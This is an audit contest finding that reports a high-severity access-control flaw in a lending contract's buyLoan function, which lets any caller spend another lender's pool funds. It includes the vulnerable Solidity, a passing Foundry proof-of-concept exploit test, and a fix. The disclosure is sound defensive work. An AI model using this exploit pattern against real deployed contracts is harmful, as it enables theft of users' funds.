20,000 USDC
View results
Submission Details
Severity: high
Valid

A malicious user can make another user lose funds from their pool

Summary

When a user calls startAuction, another user can call buyloan with a poolId from another user and cause them to lose funds

Vulnerability Details

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
Loan memory loan = loans[loanId];
// validate the loan
if (loan.auctionStartTimestamp == type(uint256).max)
revert AuctionNotStarted();
if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
revert AuctionEnded();
// calculate the current interest rate
uint256 timeElapsed = block.timestamp - loan.auctionStartTimestamp;
uint256 currentAuctionRate = (MAX_INTEREST_RATE * timeElapsed) / loan.auctionLength;
// validate the rate
if (pools[poolId].interestRate > currentAuctionRate) revert RateTooHigh();
// calculate the interest
(uint256 lenderInterest, uint256 protocolInterest) = _calculateInterest(
loan
);
// reject if the pool is not big enough
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
// if they do have a big enough pool then transfer from their pool
_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;
// now update the pool balance of the old lender
bytes32 oldPoolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
_updatePoolBalance(
oldPoolId,
pools[oldPoolId].poolBalance + loan.debt + lenderInterest
);
pools[oldPoolId].outstandingLoans -= loan.debt;
// transfer the protocol fee to the governance
IERC20(loan.loanToken).transfer(feeReceiver, protocolInterest);
emit Repaid(
loan.borrower,
loan.lender,
loanId,
loan.debt + lenderInterest + protocolInterest,
loan.collateral,
loan.interestRate,
loan.startTimestamp
);
// update the loan with the new info
loans[loanId].lender = msg.sender;
loans[loanId].interestRate = pools[poolId].interestRate;
loans[loanId].startTimestamp = block.timestamp;
loans[loanId].auctionStartTimestamp = type(uint256).max;
loans[loanId].debt = totalDebt;
emit Borrowed(
loan.borrower,
msg.sender,
loanId,
loans[loanId].debt,
loans[loanId].collateral,
pools[poolId].interestRate,
block.timestamp
);
emit LoanBought(loanId);
}

As you can see, buyloan does not check if p.lender == msg.sender. This allows a user to provide an arbitrary poolId (from another user) and manipulate their funds from the pool through these lines of code

_updatePoolBalance(poolId, pools[poolId].poolBalance - totalDebt);
pools[poolId].outstandingLoans += totalDebt;

The user is unable to retrieve theirs funds again.
here a test

function test_steal_borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 2,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
vm.startPrank(lender2);
p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId2 = lender.setPool(p);
(,,,,uint256 poolBalance2,,,,) = lender.pools(poolId2);
console.log("poolBalance lender2", poolBalance2/1e18);
vm.stopPrank();
console.log(" ");
vm.startPrank(lender3);
p = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 2,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId3 = lender.setPool(p);
vm.stopPrank();
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId3,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);//borrow funds from poolId3
console.log(" ");
(,,,,uint256 poolBalance3,,,,) = lender.pools(poolId3);
vm.stopPrank();
vm.startPrank(lender3);
uint256[] memory loanIds = new uint256[](1);
loanIds[0]=0;
lender.startAuction(loanIds);//lender3 call startAuction
vm.stopPrank();
vm.warp(block.timestamp + 1);
vm.startPrank(attacker);
lender.buyLoan(0,poolId2);//malicious user buyLoan with poolId2
vm.stopPrank();
(,,,,poolBalance2,,,,) = lender.pools(poolId2);
console.log("poolBalance lender2", poolBalance2/1e18);
console.log(" ");
vm.startPrank(borrower);
vm.expectRevert();
lender.repay(loanIds);//borrower try to repay
vm.stopPrank();
vm.startPrank(lender2);
vm.expectRevert();
lender.startAuction(loanIds);//lender2 try to startAuction
vm.stopPrank();
}

the result

Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_steal_borrow() (gas: 1116730)
Logs:
poolBalance lender2 1000
poolBalance lender2 899
Test result: ok. 1 passed; 0 failed; finished in 10.35ms

Impact

user loss funds

Tools Used

manual review

Recommendations

add in buyloan require(p.lender == msg.sender);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!